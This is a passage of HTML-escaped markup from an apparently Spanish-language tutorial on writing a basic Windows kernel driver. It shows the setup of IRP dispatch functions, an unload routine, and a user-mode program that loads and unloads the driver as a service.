style="font-weight: normal; vertical-align: top;"&gt;&lt;pre style="background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;"&gt;&lt;span style="color: #000040;"&gt;*&lt;/span&gt;PLSA_UNICODE_STRING, &lt;/pre&gt;&lt;/li&gt;&lt;li style="font-weight: normal; vertical-align: top;"&gt;&lt;pre style="background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;"&gt;UNICODE_STRING, &lt;/pre&gt;&lt;/li&gt;&lt;li style="font-weight: normal; vertical-align: top;"&gt;&lt;pre style="background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;"&gt;&lt;span style="color: #000040;"&gt;*&lt;/span&gt;PUNICODE_STRING&lt;span style="color: teal;"&gt;;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/pre&gt;&lt;/li&gt;&lt;/ol&gt;&lt;/div&gt;&lt;pre style="font-family: monospace;"&gt;&lt;div class="sites-codeblock sites-codesnippet-block" style="text-align: left;"&gt;&lt;span style="font-size: small;"&gt;Donde "Lenght" es la longitud actual de la cadena.&lt;br /&gt;      "MaximunLenght" es el tamaño maximo que la cadena puede tener.&lt;br /&gt;      "Buffer" es el puntero a la cadena.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: Arial,Helvetica,sans-serif;"&gt;Como podemos ver, esta estructura contiene el tamaño de la cadena, por lo tanto&lt;/span&gt;&lt;span style="font-family: Arial,Helvetica,sans-serif;"&gt; no necesitamos &lt;br /&gt;verificar si la cadena esta terminada en NULL.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: Arial,Helvetica,sans-serif;"&gt;Luego de crear el dispositivo, ahora queda configurar el Driver Object para que &lt;/span&gt;&lt;span style="font-family: Arial,Helvetica,sans-serif;"&gt;llame a nuestro driver &lt;br /&gt;cuando ciertas peticiones se realicen. &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: Arial,Helvetica,sans-serif;"&gt;Estas peticiones se denominan IRP Major requests. Existen tambien las denominadas &lt;/span&gt;&lt;span style="font-family: Arial,Helvetica,sans-serif;"&gt;Minor requests &lt;br /&gt;a las cuales nos referimos con anterioridad como peticiones &lt;/span&gt;&lt;span style="font-family: Arial,Helvetica,sans-serif;"&gt;secundarias, &lt;br /&gt;se encuentran en el stack location del IRP.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div #ffffff;?="" background-color:="" class="cpp" courier,="" courier="" monospace;="" new?,="" style="font-size: small;"&gt;&lt;ol&gt;&lt;li style="font-weight: normal; vertical-align: top;"&gt;&lt;pre style="background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;"&gt;&lt;span style="color: blue;"&gt;for&lt;/span&gt;&lt;span style="color: green;"&gt;(&lt;/span&gt;uiIndex &lt;span style="color: navy;"&gt;=&lt;/span&gt; &lt;span style="color: #0000dd;"&gt;0&lt;/span&gt;&lt;span style="color: teal;"&gt;;&lt;/span&gt; uiIndex &lt;span style="color: navy;"&gt;&amp;lt;&lt;/span&gt; IRP_MJ_MAXIMUM_FUNCTION&lt;span style="color: teal;"&gt;;&lt;/span&gt; uiIndex&lt;span style="color: #000040;"&gt;++&lt;/span&gt;&lt;span style="color: green;"&gt;)&lt;/span&gt;&lt;/pre&gt;&lt;/li&gt;&lt;li style="font-weight: normal; vertical-align: top;"&gt;&lt;pre style="background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;"&gt;pDriverObject&lt;span style="color: #000040;"&gt;-&lt;/span&gt;&lt;span style="color: navy;"&gt;&amp;gt;&lt;/span&gt;MajorFunction&lt;span style="color: green;"&gt;[&lt;/span&gt;uiIndex&lt;span style="color: green;"&gt;]&lt;/span&gt; &lt;span style="color: navy;"&gt;=&lt;/span&gt; ehn_UnSupportedFunction&lt;span style="color: teal;"&gt;;&lt;/span&gt;&lt;/pre&gt;&lt;/li&gt;&lt;li style="font-weight: normal; vertical-align: top;"&gt;&lt;pre style="background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;"&gt;&amp;nbsp;&lt;/pre&gt;&lt;/li&gt;&lt;li style="font-weight: normal; vertical-align: top;"&gt;&lt;pre style="background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;"&gt;pDriverObject&lt;span style="color: #000040;"&gt;-&lt;/span&gt;&lt;span style="color: navy;"&gt;&amp;gt;&lt;/span&gt;MajorFunction&lt;span style="color: green;"&gt;[&lt;/span&gt;IRP_MJ_CLOSE&lt;span style="color: green;"&gt;]&lt;/span&gt;           &lt;span style="color: navy;"&gt;=&lt;/span&gt;ehn_Close&lt;span style="color: teal;"&gt;;&lt;/span&gt;&lt;/pre&gt;&lt;/li&gt;&lt;li style="font-weight: normal; vertical-align: top;"&gt;&lt;pre style="background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;"&gt;pDriverObject&lt;span style="color: #000040;"&gt;-&lt;/span&gt;&lt;span style="color: navy;"&gt;&amp;gt;&lt;/span&gt;MajorFunction&lt;span style="color: green;"&gt;[&lt;/span&gt;IRP_MJ_CREATE&lt;span style="color: green;"&gt;]&lt;/span&gt;          &lt;span style="color: navy;"&gt;=&lt;/span&gt;ehn_Create&lt;span style="color: teal;"&gt;;&lt;/span&gt;&lt;/pre&gt;&lt;/li&gt;&lt;li style="font-weight: normal; vertical-align: top;"&gt;&lt;pre style="background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;"&gt;pDriverObject&lt;span style="color: #000040;"&gt;-&lt;/span&gt;&lt;span style="color: navy;"&gt;&amp;gt;&lt;/span&gt;MajorFunction&lt;span style="color: green;"&gt;[&lt;/span&gt;IRP_MJ_DEVICE_CONTROL&lt;span style="color: green;"&gt;]&lt;/span&gt;  &lt;span style="color: navy;"&gt;=&lt;/span&gt;ehn_DeviceControl&lt;span style="color: teal;"&gt;;&lt;/span&gt;&lt;/pre&gt;&lt;/li&gt;&lt;li style="font-weight: normal; vertical-align: top;"&gt;&lt;pre style="background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;"&gt;pDriverObject&lt;span style="color: #000040;"&gt;-&lt;/span&gt;&lt;span style="color: navy;"&gt;&amp;gt;&lt;/span&gt;MajorFunction&lt;span style="color: green;"&gt;[&lt;/span&gt;IRP_MJ_READ&lt;span style="color: green;"&gt;]&lt;/span&gt;            &lt;span style="color: navy;"&gt;=&lt;/span&gt;ehn_Read&lt;span style="color: teal;"&gt;;&lt;/span&gt;&lt;/pre&gt;&lt;/li&gt;&lt;li style="font-weight: normal; vertical-align: top;"&gt;&lt;pre style="background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;"&gt;pDriverObject&lt;span style="color: #000040;"&gt;-&lt;/span&gt;&lt;span style="color: navy;"&gt;&amp;gt;&lt;/span&gt;MajorFunction&lt;span style="color: green;"&gt;[&lt;/span&gt;IRP_MJ_WRITE&lt;span style="color: green;"&gt;]&lt;/span&gt;           &lt;span style="color: navy;"&gt;=&lt;/span&gt;ehn_Write&lt;span style="color: teal;"&gt;;&lt;/span&gt;&lt;/pre&gt;&lt;/li&gt;&lt;/ol&gt;&lt;/div&gt;&lt;div class="sites-codeblock sites-codesnippet-block"&gt;&lt;/div&gt;&lt;/pre&gt;&lt;div class="sites-codeblock sites-codesnippet-block"&gt;&lt;pre style="font-family: monospace;"&gt;&lt;span style="font-family: Arial,Helvetica,sans-serif;"&gt;Es decir, cuando una aplicación en modo usuario llame a algunas de estas funciones:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;  * CreateFile&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; * CloseHandle&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; * WriteFile&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; * ReadFile&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; * DeviceIoControl&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;se llamara a tu driver.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size: medium;"&gt;&lt;b&gt;Rutina Unload&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Lo siguiente es la función de descarga del driver:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="sites-codeblock sites-codesnippet-block"&gt;&lt;pre style="font-family: monospace;"&gt;pDriverObject&lt;span style="color: #000040;"&gt;-&lt;/span&gt;&lt;span style="color: navy;"&gt;&amp;gt;&lt;/span&gt;DriverUnload &lt;span style="color: navy;"&gt;=&lt;/span&gt;&amp;nbsp; ehn_Unload&lt;span style="color: teal;"&gt;;&lt;/span&gt;&lt;/pre&gt;&lt;/div&gt;&lt;br /&gt;En realidad la rutina de descarga solo se necesita si queres descargar tu driver en forma dinámica, en ese caso la rutina debe ser especificada. Si no se especifica una función de descarga, el sistema no dejara que el driver sea descargado.&lt;br /&gt;Esta es, por ejemplo, una forma simple de rutina de descarga:&lt;br /&gt;&lt;br /&gt;&lt;div #ffffff;?="" background-color:="" class="cpp" courier,="" courier="" monospace;="" new?,="" style="font-size: small;"&gt;&lt;ol&gt;&lt;li style="font-weight: normal; vertical-align: top;"&gt;&lt;pre style="background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;"&gt;&lt;span style="color: blue;"&gt;void&lt;/span&gt; Example_Unload&lt;span style="color: green;"&gt;(&lt;/span&gt;PDRIVER_OBJECT  DriverObject&lt;span style="color: green;"&gt;)&lt;/span&gt;&lt;/pre&gt;&lt;/li&gt;&lt;li style="font-weight: normal; vertical-align: top;"&gt;&lt;pre style="background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;"&gt;&lt;span style="color: green;"&gt;{&lt;/span&gt;    &lt;/pre&gt;&lt;/li&gt;&lt;li style="font-weight: normal; vertical-align: top;"&gt;&lt;pre style="background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;"&gt;&amp;nbsp;&lt;/pre&gt;&lt;/li&gt;&lt;li style="font-weight: normal; vertical-align: top;"&gt;&lt;pre style="background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;"&gt;UNICODE_STRING DosDeviceName&lt;span style="color: teal;"&gt;;&lt;/span&gt;&lt;/pre&gt;&lt;/li&gt;&lt;li style="font-weight: normal; vertical-align: top;"&gt;&lt;pre style="background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;"&gt;&amp;nbsp;&lt;/pre&gt;&lt;/li&gt;&lt;li style="font-weight: normal; vertical-align: top;"&gt;&lt;pre style="background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;"&gt;DbgPrint&lt;span style="color: green;"&gt;(&lt;/span&gt;&lt;span style="color: red;"&gt;"Unload!!&lt;span style="color: #000099; font-weight: bold;"&gt;\n&lt;/span&gt;"&lt;/span&gt;&lt;span style="color: green;"&gt;)&lt;/span&gt;&lt;span style="color: teal;"&gt;;&lt;/span&gt;&lt;/pre&gt;&lt;/li&gt;&lt;li style="font-weight: normal; vertical-align: top;"&gt;&lt;pre style="background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;"&gt;&amp;nbsp;&lt;/pre&gt;&lt;/li&gt;&lt;li style="font-weight: normal; vertical-align: top;"&gt;&lt;pre style="background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;"&gt;RtlInitUnicodeString&lt;span style="color: green;"&gt;(&lt;/span&gt;&lt;span style="color: #000040;"&gt;&amp;amp;&lt;/span&gt;DosDeviceName, L&lt;span style="color: red;"&gt;"&lt;span style="color: #000099; font-weight: bold;"&gt;\\&lt;/span&gt;DosDevices&lt;span style="color: #000099; font-weight: bold;"&gt;\\&lt;/span&gt;ehn"&lt;/span&gt;&lt;span style="color: green;"&gt;)&lt;/span&gt;&lt;span style="color: teal;"&gt;;&lt;/span&gt;&lt;/pre&gt;&lt;/li&gt;&lt;li style="font-weight: normal; vertical-align: top;"&gt;&lt;pre style="background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;"&gt;IoDeleteSymbolicLink&lt;span style="color: green;"&gt;(&lt;/span&gt;&lt;span style="color: #000040;"&gt;&amp;amp;&lt;/span&gt;DosDeviceName&lt;span style="color: green;"&gt;)&lt;/span&gt;&lt;span style="color: teal;"&gt;;&lt;/span&gt;&lt;/pre&gt;&lt;/li&gt;&lt;li style="font-weight: normal; vertical-align: top;"&gt;&lt;pre style="background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;"&gt;&amp;nbsp;&lt;/pre&gt;&lt;/li&gt;&lt;li style="font-weight: normal; vertical-align: top;"&gt;&lt;pre style="background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;"&gt;IoDeleteDevice&lt;span style="color: green;"&gt;(&lt;/span&gt;DriverObject&lt;span style="color: #000040;"&gt;-&lt;/span&gt;&lt;span style="color: navy;"&gt;&amp;gt;&lt;/span&gt;DeviceObject&lt;span style="color: green;"&gt;)&lt;/span&gt;&lt;span style="color: teal;"&gt;;&lt;/span&gt;&lt;/pre&gt;&lt;/li&gt;&lt;li style="font-weight: normal; vertical-align: top;"&gt;&lt;pre style="background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;"&gt;&lt;span style="color: green;"&gt;}&lt;/span&gt;&lt;/pre&gt;&lt;/li&gt;&lt;/ol&gt;&lt;/div&gt;&lt;div class="sites-codeblock sites-codesnippet-block"&gt;Definir las otras funciones es tarea para el hogar ya que creo es la parte mas divertida de todo esto y la que supongo motivara mas para los que quieran interiorizarse en el tema.&lt;br /&gt;&lt;br /&gt;Igualmente este ejemplo es de lo mas básico y es el que se utiliza para comprender estos conceptos por lo tanto probablemente al buscar los conceptos que faltan para definir lo necesario se encuentren con ejemplos conceptualmente similares, por lo tanto la dificultad es casi nula pero si sera bastante divertido de seguro.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size: medium;"&gt;&lt;b&gt;Cargar y descargar el driver en forma dinámica.&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div #ffffff;?="" background-color:="" class="cpp" courier,="" courier="" monospace;="" new?,="" style="font-size: small;"&gt;&lt;ol&gt;&lt;li style="font-weight: normal; vertical-align: top;"&gt;&lt;pre style="background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;"&gt;&lt;span style="color: blue;"&gt;int&lt;/span&gt; _cdecl main&lt;span style="color: green;"&gt;(&lt;/span&gt;&lt;span style="color: green;"&gt;)&lt;/span&gt;&lt;/pre&gt;&lt;/li&gt;&lt;li style="font-weight: normal; vertical-align: top;"&gt;&lt;pre style="background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;"&gt;&lt;span style="color: green;"&gt;{&lt;/span&gt;&lt;/pre&gt;&lt;/li&gt;&lt;li style="font-weight: normal; vertical-align: top;"&gt;&lt;pre style="background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;"&gt;HANDLE HSmng,HServ&lt;span style="color: teal;"&gt;;&lt;/span&gt;&lt;/pre&gt;&lt;/li&gt;&lt;li style="font-weight: normal; vertical-align: top;"&gt;&lt;pre style="background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;"&gt;SERVICE_STATUS Sstatus&lt;span style="color: teal;"&gt;;&lt;/span&gt;&lt;/pre&gt;&lt;/li&gt;&lt;li style="font-weight: normal; vertical-align: top;"&gt;&lt;pre style="background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;"&gt;&amp;nbsp;&lt;/pre&gt;&lt;/li&gt;&lt;li style="font-weight: normal; vertical-align: top;"&gt;&lt;pre style="background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;"&gt;HSmng &lt;span style="color: navy;"&gt;=&lt;/span&gt; OpenSCManager&lt;span style="color: green;"&gt;(&lt;/span&gt;&lt;span style="color: blue;"&gt;NULL&lt;/span&gt;, &lt;span style="color: blue;"&gt;NULL&lt;/span&gt;, SC_MANAGER_CREATE_SERVICE&lt;span style="color: green;"&gt;)&lt;/span&gt;&lt;span style="color: teal;"&gt;;&lt;/span&gt;&lt;/pre&gt;&lt;/li&gt;&lt;li style="font-weight: normal; vertical-align: top;"&gt;&lt;pre style="background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;"&gt;&amp;nbsp;&lt;/pre&gt;&lt;/li&gt;&lt;li style="font-weight: normal; vertical-align: top;"&gt;&lt;pre style="background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;"&gt;&lt;span style="color: #0000dd;"&gt;printf&lt;/span&gt;&lt;span style="color: green;"&gt;(&lt;/span&gt;&lt;span style="color: red;"&gt;"Cargando el driver!&lt;span style="color: #000099; font-weight: bold;"&gt;\n&lt;/span&gt;"&lt;/span&gt;&lt;span style="color: green;"&gt;)&lt;/span&gt;&lt;span style="color: teal;"&gt;;&lt;/span&gt;&lt;/pre&gt;&lt;/li&gt;&lt;li style="font-weight: normal; vertical-align: top;"&gt;&lt;pre style="background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;"&gt;&amp;nbsp;&lt;/pre&gt;&lt;/li&gt;&lt;li style="font-weight: normal; vertical-align: top;"&gt;&lt;pre style="background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;"&gt;&lt;span style="color: blue;"&gt;if&lt;/span&gt;&lt;span style="color: green;"&gt;(&lt;/span&gt;HSmng&lt;span style="color: green;"&gt;)&lt;/span&gt;&lt;/pre&gt;&lt;/li&gt;&lt;li style="font-weight: normal; vertical-align: top;"&gt;&lt;pre style="background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;"&gt;&lt;span style="color: green;"&gt;{&lt;/span&gt;&lt;/pre&gt;&lt;/li&gt;&lt;li style="font-weight: normal; vertical-align: top;"&gt;&lt;pre style="background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;"&gt;HServ &lt;span style="color: navy;"&gt;=&lt;/span&gt; CreateService&lt;span style="color: green;"&gt;(&lt;/span&gt;HSmng, &lt;span style="color: red;"&gt;"ehn"&lt;/span&gt;, &lt;/pre&gt;&lt;/li&gt;&lt;li style="font-weight: normal; vertical-align: top;"&gt;&lt;pre style="background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;"&gt;&lt;span style="color: red;"&gt;"ehn driver"&lt;/span&gt;, &lt;/pre&gt;&lt;/li&gt;&lt;li style="font-weight: normal; vertical-align: top;"&gt;&lt;pre style="background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;"&gt;SERVICE_START &lt;span style="color: #000040;"&gt;|&lt;/span&gt; DELETE &lt;span style="color: #000040;"&gt;|&lt;/span&gt; SERVICE_STOP, &lt;/pre&gt;&lt;/li&gt;&lt;li style="font-weight: normal; vertical-align: top;"&gt;&lt;pre style="background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;"&gt;SERVICE_KERNEL_DRIVER,&lt;/pre&gt;&lt;/li&gt;&lt;li style="font-weight: normal; vertical-align: top;"&gt;&lt;pre style="background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;"&gt;SERVICE_DEMAND_START, &lt;/pre&gt;&lt;/li&gt;&lt;li style="font-weight: normal; vertical-align: top;"&gt;&lt;pre style="background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;"&gt;SERVICE_ERROR_IGNORE, &lt;/pre&gt;&lt;/li&gt;&lt;li style="font-weight: normal; vertical-align: top;"&gt;&lt;pre style="background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;"&gt;&lt;span style="color: red;"&gt;"C:&lt;span style="color: #000099; font-weight: bold;"&gt;\\&lt;/span&gt;ehn.sys"&lt;/span&gt;, &lt;/pre&gt;&lt;/li&gt;&lt;li style="font-weight: normal; vertical-align: top;"&gt;&lt;pre style="background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;"&gt;&lt;span style="color: blue;"&gt;NULL&lt;/span&gt;, &lt;span style="color: blue;"&gt;NULL&lt;/span&gt;, &lt;span style="color: blue;"&gt;NULL&lt;/span&gt;, &lt;span style="color: blue;"&gt;NULL&lt;/span&gt;, &lt;span style="color: blue;"&gt;NULL&lt;/span&gt;&lt;span style="color: green;"&gt;)&lt;/span&gt;&lt;span style="color: teal;"&gt;;&lt;/span&gt;&lt;/pre&gt;&lt;/li&gt;&lt;li style="font-weight: normal; vertical-align: top;"&gt;&lt;pre style="background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;"&gt;&amp;nbsp;&lt;/pre&gt;&lt;/li&gt;&lt;li style="font-weight: normal; vertical-align: top;"&gt;&lt;pre style="background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;"&gt;&lt;span style="color: blue;"&gt;if&lt;/span&gt;&lt;span style="color: green;"&gt;(&lt;/span&gt;&lt;span style="color: #000040;"&gt;!&lt;/span&gt;HServ&lt;span style="color: green;"&gt;)&lt;/span&gt;&lt;/pre&gt;&lt;/li&gt;&lt;li style="font-weight: normal; vertical-align: top;"&gt;&lt;pre style="background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;"&gt;HServ &lt;span style="color: navy;"&gt;=&lt;/span&gt; OpenService&lt;span style="color: green;"&gt;(&lt;/span&gt;HSmng, &lt;span style="color: red;"&gt;"ehn"&lt;/span&gt;, SERVICE_START &lt;span style="color: #000040;"&gt;|&lt;/span&gt; &lt;/pre&gt;&lt;/li&gt;&lt;li style="font-weight: normal; vertical-align: top;"&gt;&lt;pre style="background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;"&gt;DELETE &lt;span style="color: #000040;"&gt;|&lt;/span&gt; &lt;/pre&gt;&lt;/li&gt;&lt;li style="font-weight: normal; vertical-align: top;"&gt;&lt;pre style="background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;"&gt;SERVICE_STOP&lt;span style="color: green;"&gt;)&lt;/span&gt;&lt;span style="color: teal;"&gt;;&lt;/span&gt;&lt;/pre&gt;&lt;/li&gt;&lt;li style="font-weight: normal; vertical-align: top;"&gt;&lt;pre style="background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;"&gt;&amp;nbsp;&lt;/pre&gt;&lt;/li&gt;&lt;li style="font-weight: normal; vertical-align: top;"&gt;&lt;pre style="background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;"&gt;&amp;nbsp;&lt;/pre&gt;&lt;/li&gt;&lt;li style="font-weight: normal; vertical-align: top;"&gt;&lt;pre style="background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;"&gt;&lt;span style="color: blue;"&gt;if&lt;/span&gt;&lt;span style="color: green;"&gt;(&lt;/span&gt;HServ&lt;span style="color: green;"&gt;)&lt;/span&gt;&lt;/pre&gt;&lt;/li&gt;&lt;li style="font-weight: normal; vertical-align: top;"&gt;&lt;pre style="background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;"&gt;&lt;span style="color: green;"&gt;{&lt;/span&gt;&lt;/pre&gt;&lt;/li&gt;&lt;li style="font-weight: normal; vertical-align: top;"&gt;&lt;pre style="background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;"&gt;&lt;span style="color: #0000dd;"&gt;printf&lt;/span&gt;&lt;span style="color: green;"&gt;(&lt;/span&gt;&lt;span style="color: red;"&gt;"Iniciando servicio&lt;span style="color: #000099; font-weight: bold;"&gt;\n&lt;/span&gt;"&lt;/span&gt;&lt;span style="color: green;"&gt;)&lt;/span&gt;&lt;span style="color: teal;"&gt;;&lt;/span&gt;&lt;/pre&gt;&lt;/li&gt;&lt;li style="font-weight: normal; vertical-align: top;"&gt;&lt;pre style="background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;"&gt;&amp;nbsp;&lt;/pre&gt;&lt;/li&gt;&lt;li style="font-weight: normal; vertical-align: top;"&gt;&lt;pre style="background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;"&gt;StartService&lt;span style="color: green;"&gt;(&lt;/span&gt;HServ, &lt;span style="color: #0000dd;"&gt;0&lt;/span&gt;, &lt;span style="color: blue;"&gt;NULL&lt;/span&gt;&lt;span style="color: green;"&gt;)&lt;/span&gt;&lt;span style="color: teal;"&gt;;&lt;/span&gt;&lt;/pre&gt;&lt;/li&gt;&lt;li style="font-weight: normal; vertical-align: top;"&gt;&lt;pre style="background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;"&gt;&lt;span style="color: #0000dd;"&gt;printf&lt;/span&gt;&lt;span style="color: green;"&gt;(&lt;/span&gt;&lt;span style="color: red;"&gt;"Presione una tecla para cerrar el servicio&lt;span style="color: #000099; font-weight: bold;"&gt;\n&lt;/span&gt;"&lt;/span&gt;&lt;span style="color: green;"&gt;)&lt;/span&gt;&lt;span style="color: teal;"&gt;;&lt;/span&gt;&lt;/pre&gt;&lt;/li&gt;&lt;li style="font-weight: normal; vertical-align: top;"&gt;&lt;pre style="background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;"&gt;&lt;span style="color: #0000dd;"&gt;getchar&lt;/span&gt;&lt;span style="color: green;"&gt;(&lt;/span&gt;&lt;span style="color: green;"&gt;)&lt;/span&gt;&lt;span style="color: teal;"&gt;;&lt;/span&gt;&lt;/pre&gt;&lt;/li&gt;&lt;li style="font-weight: normal; vertical-align: top;"&gt;&lt;pre style="background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;"&gt;ControlService&lt;span style="color: green;"&gt;(&lt;/span&gt;HServ, SERVICE_CONTROL_STOP, &lt;span style="color: #000040;"&gt;&amp;amp;&lt;/span&gt;Sstatus&lt;span style="color: green;"&gt;)&lt;/span&gt;&lt;span style="color: teal;"&gt;;&lt;/span&gt;&lt;/pre&gt;&lt;/li&gt;&lt;li style="font-weight: normal; vertical-align: top;"&gt;&lt;pre style="background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;"&gt;&amp;nbsp;&lt;/pre&gt;&lt;/li&gt;&lt;li style="font-weight: normal; vertical-align: top;"&gt;&lt;pre style="background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;"&gt;DeleteService&lt;span style="color: green;"&gt;(&lt;/span&gt;HServ&lt;span style="color: green;"&gt;)&lt;/span&gt;&lt;span style="color: teal;"&gt;;&lt;/span&gt;&lt;/pre&gt;&lt;/li&gt;&lt;li style="font-weight: normal; vertical-align: top;"&gt;&lt;pre style="background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;"&gt;&amp;nbsp;&lt;/pre&gt;&lt;/li&gt;&lt;li style="font-weight: normal; vertical-align: top;"&gt;&lt;pre style="background: none repeat scroll 0% 0% transparent; font: 1em/1.2em monospace; margin: 0px; padding: 0px; vertical-align: top;"&gt;CloseServiceHandle&lt;span style="color: green;"&gt;(&lt;/span&gt;HServ&lt;span style="color: green;"&gt;)&lt;/span&gt;&lt;span 